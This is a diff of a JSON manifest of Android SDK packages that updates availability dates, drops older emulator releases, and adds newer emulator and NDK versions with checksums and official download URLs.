         "path": "cmdline-tools/19.0-alpha01",
@@ -18983,7 +19583,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "obsolete": "true",
@@ -19024,7 +19624,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/2.1",
@@ -19064,7 +19664,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/3.0",
@@ -19104,7 +19704,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/4.0",
@@ -19144,7 +19744,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/5.0",
@@ -19184,7 +19784,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/6.0",
@@ -19224,7 +19824,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/7.0",
@@ -19264,7 +19864,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/8.0",
@@ -19304,7 +19904,7 @@
           }
         ],
         "displayName": "Android SDK Command-line Tools",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "cmdline-tools",
         "path": "cmdline-tools/9.0",
@@ -19321,96 +19921,6 @@
       }
     },
     "emulator": {
-      "32.1.10": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "518eaa8575a2e5ae7bbb19847e0c25b7968a9e91",
-            "size": 309316195,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-9475343.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "71ef457eeeee6b55382abf4a5aaab5de7426e383",
-            "size": 270160041,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-9475343.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "a53b8e1026325b48cb722d91deeb128947971b8f",
-            "size": 333004087,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-9475343.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19579,
-        "license": "android-sdk-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "32.1.10",
-        "revision-details": {
-          "major:0": "32",
-          "micro:2": "10",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
-      "32.1.14": {
-        "archives": [
-          {
-            "os": "linux",
-            "sha1": "04bab7711660fc9891fd5dec347a9f533a87af1a",
-            "size": 270178945,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-10330179.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "f039bd816f82cda85ee4a2e14497bd00a1998867",
-            "size": 333010879,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-10330179.zip"
-          },
-          {
-            "os": "macosx",
-            "sha1": "3db11e3541bfced7dbaadc976a13045fd7e1bbcc",
-            "size": 309337702,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-10330179.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19579,
-        "license": "android-sdk-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "32.1.14",
-        "revision-details": {
-          "major:0": "32",
-          "micro:2": "14",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "32.1.15": {
         "archives": [
           {
@@ -19449,51 +19959,6 @@
           }
         }
       },
-      "33.1.17": {
-        "archives": [
-          {
-            "os": "macosx",
-            "sha1": "cd989b0594ebe9382749b3a5dc026acb326e4de0",
-            "size": 341193257,
-            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-10594030.zip"
-          },
-          {
-            "os": "linux",
-            "sha1": "72c3fb1591755ee5f5d662114a394d08247efc13",
-            "size": 261440080,
-            "url": "https://dl.google.com/android/repository/emulator-linux_x64-10594030.zip"
-          },
-          {
-            "os": "windows",
-            "sha1": "cc302b5107e64348e957e4738530bcfbb58212a8",
-            "size": 363656447,
-            "url": "https://dl.google.com/android/repository/emulator-windows_x64-10594030.zip"
-          }
-        ],
-        "dependencies": {
-          "dependency:0": {
-            "element-attributes": {
-              "path": "patcher;v4"
-            }
-          }
-        },
-        "displayName": "Android Emulator",
-        "last-available-day": 19579,
-        "license": "android-sdk-preview-license",
-        "name": "emulator",
-        "path": "emulator",
-        "revision": "33.1.17",
-        "revision-details": {
-          "major:0": "33",
-          "micro:2": "17",
-          "minor:1": "1"
-        },
-        "type-details": {
-          "element-attributes": {
-            "xsi:type": "ns5:genericDetailsType"
-          }
-        }
-      },
       "33.1.20": {
         "archives": [
           {
@@ -20401,6 +20866,150 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "36.1.8": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "85c198dcc67bc02c7682b410c362663f1221f127",
+            "size": 319200975,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13784423.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "478e9a9f93c7d56140a1748f8f2ee24404231f3a",
+            "size": 394949463,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13784423.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "f73484c5c62d6211fe2741ce40b9e6b4b27e3cff",
+            "size": 312530769,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13784423.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "c3c9a497085b0ce173a3ff053743c9191a49aa90",
+            "size": 440864909,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13784423.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "36.1.8",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "8",
+          "minor:1": "1"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
+      "36.1.9": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "6640cd1d6ca5cf306cfe51d4957ace7e5f3c1d8c",
+            "size": 319203216,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13823996.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "7688a93c4162dd26e961fa26e260dbb638aa2679",
+            "size": 394943617,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13823996.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "540cad31129eb9518082647a67cf634c51f565de",
+            "size": 312528104,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13823996.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "b9542962753c1b2774691d758247cac6a2384655",
+            "size": 440857308,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13823996.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "36.1.9",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "9",
+          "minor:1": "1"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
+      "36.2.4": {
+        "archives": [
+          {
+            "arch": "x64",
+            "os": "linux",
+            "sha1": "287915ab3349c2304893dc0ed2fc27bff8219bd2",
+            "size": 324654299,
+            "url": "https://dl.google.com/android/repository/emulator-linux_x64-13899551.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "macosx",
+            "sha1": "6134b9d9cfb201438a2bcf2d3c2469f708d77357",
+            "size": 401818934,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_x64-13899551.zip"
+          },
+          {
+            "arch": "aarch64",
+            "os": "macosx",
+            "sha1": "f1c4fd99341f24bc22dce34db92d708636a9ca1e",
+            "size": 319414458,
+            "url": "https://dl.google.com/android/repository/emulator-darwin_aarch64-13899551.zip"
+          },
+          {
+            "arch": "x64",
+            "os": "windows",
+            "sha1": "4e4ab339536f7cb26f5af4d8dfd4836bcffb46a0",
+            "size": 446720651,
+            "url": "https://dl.google.com/android/repository/emulator-windows_x64-13899551.zip"
+          }
+        ],
+        "displayName": "Android Emulator",
+        "last-available-day": 20318,
+        "license": "android-sdk-preview-license",
+        "name": "emulator",
+        "path": "emulator",
+        "revision": "36.2.4",
+        "revision-details": {
+          "major:0": "36",
+          "micro:2": "4",
+          "minor:1": "2"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "extras": {
@@ -20526,7 +21135,7 @@
           }
         },
         "displayName": "NDK (Side by side) 16.1.4479499",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/16.1.4479499",
@@ -20588,7 +21197,7 @@
           }
         },
         "displayName": "NDK (Side by side) 17.2.4988734",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/17.2.4988734",
@@ -20650,7 +21259,7 @@
           }
         },
         "displayName": "NDK (Side by side) 18.1.5063045",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/18.1.5063045",
@@ -20712,7 +21321,7 @@
           }
         },
         "displayName": "NDK (Side by side) 19.0.5232133",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "obsolete": "true",
@@ -20775,7 +21384,7 @@
           }
         },
         "displayName": "NDK (Side by side) 19.2.5345600",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/19.2.5345600",
@@ -20837,7 +21446,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5392854",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "obsolete": "true",
@@ -20901,7 +21510,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5471264",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "obsolete": "true",
@@ -20965,7 +21574,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.0.5594570",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/20.0.5594570",
@@ -21027,7 +21636,7 @@
           }
         },
         "displayName": "NDK (Side by side) 20.1.5948944",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/20.1.5948944",
@@ -21075,7 +21684,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.0.6011959",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.0.6011959",
@@ -21124,7 +21733,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.0.6113669",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.0.6113669",
@@ -21172,7 +21781,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6210238",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6210238",
@@ -21228,7 +21837,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6273396",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6273396",
@@ -21284,7 +21893,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6352462",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.1.6352462",
@@ -21339,7 +21948,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.1.6363665",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/21.1.6363665",
@@ -21395,7 +22004,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.2.6472646",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.2.6472646",
@@ -21450,7 +22059,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.3.6528147",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.3.6528147",
@@ -21505,7 +22114,7 @@
           }
         },
         "displayName": "NDK (Side by side) 21.4.7075529",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/21.4.7075529",
@@ -21560,7 +22169,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.0.6917172",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/22.0.6917172",
@@ -21616,7 +22225,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.0.7026061",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/22.0.7026061",
@@ -21671,7 +22280,7 @@
           }
         },
         "displayName": "NDK (Side by side) 22.1.7171670",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/22.1.7171670",
@@ -21726,7 +22335,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7123448",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7123448",
@@ -21782,7 +22391,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7196353",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7196353",
@@ -21838,7 +22447,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7272597",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7272597",
@@ -21894,7 +22503,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7344513",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7344513",
@@ -21943,7 +22552,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7421159",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7421159",
@@ -21992,7 +22601,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7530507",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/23.0.7530507",
@@ -22041,7 +22650,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.0.7599858",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.0.7599858",
@@ -22089,7 +22698,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.1.7779620",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.1.7779620",
@@ -22137,7 +22746,7 @@
           }
         },
         "displayName": "NDK (Side by side) 23.2.8568313",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/23.2.8568313",
@@ -22185,7 +22794,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.7856742",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.7856742",
@@ -22234,7 +22843,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.7956693",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.7956693",
@@ -22283,7 +22892,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.8079956",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/24.0.8079956",
@@ -22332,7 +22941,7 @@
           }
         },
         "displayName": "NDK (Side by side) 24.0.8215888",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/24.0.8215888",
@@ -22380,7 +22989,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8151533",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8151533",
@@ -22429,7 +23038,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8221429",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8221429",
@@ -22478,7 +23087,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8355429",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8355429",
@@ -22527,7 +23136,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8528842",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/25.0.8528842",
@@ -22576,7 +23185,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.0.8775105",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.0.8775105",
@@ -22624,7 +23233,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.1.8937393",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.1.8937393",
@@ -22672,7 +23281,7 @@
           }
         },
         "displayName": "NDK (Side by side) 25.2.9519653",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/25.2.9519653",
@@ -22720,7 +23329,7 @@
           }
         },
         "displayName": "NDK (Side by side) 26.0.10404224",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/26.0.10404224",
@@ -22762,7 +23371,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.0.10636728",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/26.0.10636728",
@@ -22804,7 +23413,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.0.10792818",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.0.10792818",
@@ -22845,7 +23454,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.1.10909125",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.1.10909125",
@@ -22886,7 +23495,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.2.11394342",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.2.11394342",
@@ -22927,7 +23536,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 26.3.11579264",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/26.3.11579264",
@@ -22968,7 +23577,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.11718014",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/27.0.11718014",
@@ -23010,7 +23619,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.11902837",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/27.0.11902837",
@@ -23052,7 +23661,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.0.12077973",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.0.12077973",
@@ -23093,7 +23702,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.1.12297006",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.1.12297006",
@@ -23134,7 +23743,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 27.2.12479018",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/27.2.12479018",
@@ -23150,6 +23759,47 @@
           }
         }
       },
+      "27.3.13750724": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "22105e410cf29afcf163760cc95522b9fb981121",
+            "size": 663956036,
+            "url": "https://dl.google.com/android/repository/android-ndk-r27d-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "2970926d705988f79baa9b04c51b4f7914dd8c56",
+            "size": 839006233,
+            "url": "https://dl.google.com/android/repository/android-ndk-r27d-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "56607cbccd3642d4a1991f6bb3114a00f884f426",
+            "size": 781506724,
+            "url": "https://dl.google.com/android/repository/android-ndk-r27d-windows.zip"
+          }
+        ],
+        "displayName": "NDK (Side by side) 27.3.13750724",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "ndk",
+        "path": "ndk/27.3.13750724",
+        "revision": "27.3.13750724",
+        "revision-details": {
+          "major:0": "27",
+          "micro:2": "13750724",
+          "minor:1": "3"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
       "28.0.12433566-rc1": {
         "archives": [
           {
@@ -23175,7 +23825,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12433566",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12433566",
@@ -23217,7 +23867,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12674087",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12674087",
@@ -23259,7 +23909,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.12916984",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/28.0.12916984",
@@ -23301,7 +23951,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.0.13004108",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/28.0.13004108",
@@ -23342,7 +23992,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 28.1.13356709",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk",
         "path": "ndk/28.1.13356709",
@@ -23358,6 +24008,47 @@
           }
         }
       },
+      "28.2.13676358": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "a7b54a5de87fecd125a17d54f73c446199e72a64",
+            "size": 722261334,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28c-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "fc20a6bf15a30fb3428c9b60a7308793a362dc6d",
+            "size": 952495160,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28c-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "086bba43ff2f5eb0e387b15c8278bb4e0d89ba1d",
+            "size": 748118221,
+            "url": "https://dl.google.com/android/repository/android-ndk-r28c-windows.zip"
+          }
+        ],
+        "displayName": "NDK (Side by side) 28.2.13676358",
+        "last-available-day": 20318,
+        "license": "android-sdk-license",
+        "name": "ndk",
+        "path": "ndk/28.2.13676358",
+        "revision": "28.2.13676358",
+        "revision-details": {
+          "major:0": "28",
+          "micro:2": "13676358",
+          "minor:1": "2"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
       "29.0.13113456-rc1": {
         "archives": [
           {
@@ -23383,7 +24074,7 @@
           }
         ],
         "displayName": "NDK (Side by side) 29.0.13113456",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-preview-license",
         "name": "ndk",
         "path": "ndk/29.0.13113456",
@@ -23399,6 +24090,90 @@
             "xsi:type": "ns5:genericDetailsType"
           }
         }
+      },
+      "29.0.13599879-rc2": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "06c29d6764526fb51407d08fcead41247ddd3b70",
+            "size": 773244047,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta2-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "09be4f8fb626a9c93415198ea8e75d8d82f528fa",
+            "size": 1027864991,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta2-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "59b665f7506f1079771393f2c90f3cb29817ecfb",
+            "size": 821169899,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta2-windows.zip"
+          }
+        ],
+        "displayName": "NDK (Side by side) 29.0.13599879",
+        "last-available-day": 20318,
+        "license": "android-sdk-preview-license",
+        "name": "ndk",
+        "path": "ndk/29.0.13599879",
+        "revision": "29.0.13599879-rc2",
+        "revision-details": {
+          "major:0": "29",
+          "micro:2": "13599879",
+          "minor:1": "0",
+          "preview:3": "2"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
+      },
+      "29.0.13846066-rc3": {
+        "archives": [
+          {
+            "arch": "all",
+            "os": "linux",
+            "sha1": "277ccc0f9c56b05dd88e0af39446cd9402b13b0c",
+            "size": 784944032,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta3-linux.zip"
+          },
+          {
+            "arch": "all",
+            "os": "macosx",
+            "sha1": "f1a4894f0ae115827539c0da251e78df565d9abd",
+            "size": 1049515449,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta3-darwin.zip"
+          },
+          {
+            "arch": "all",
+            "os": "windows",
+            "sha1": "51b40aa57d8058d901e70357734651ecc69d705a",
+            "size": 833874261,
+            "url": "https://dl.google.com/android/repository/android-ndk-r29-beta3-windows.zip"
+          }
+        ],
+        "displayName": "NDK (Side by side) 29.0.13846066",
+        "last-available-day": 20318,
+        "license": "android-sdk-preview-license",
+        "name": "ndk",
+        "path": "ndk/29.0.13846066",
+        "revision": "29.0.13846066-rc3",
+        "revision-details": {
+          "major:0": "29",
+          "micro:2": "13846066",
+          "minor:1": "0",
+          "preview:3": "3"
+        },
+        "type-details": {
+          "element-attributes": {
+            "xsi:type": "ns5:genericDetailsType"
+          }
+        }
       }
     },
     "ndk-bundle": {
@@ -23448,7 +24223,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23510,7 +24285,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23572,7 +24347,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "path": "ndk-bundle",
@@ -23634,7 +24409,7 @@
           }
         },
         "displayName": "NDK",
-        "last-available-day": 20237,
+        "last-available-day": 20318,
         "license": "android-sdk-license",
         "name": "ndk-bundle",
         "obsolete": "true",
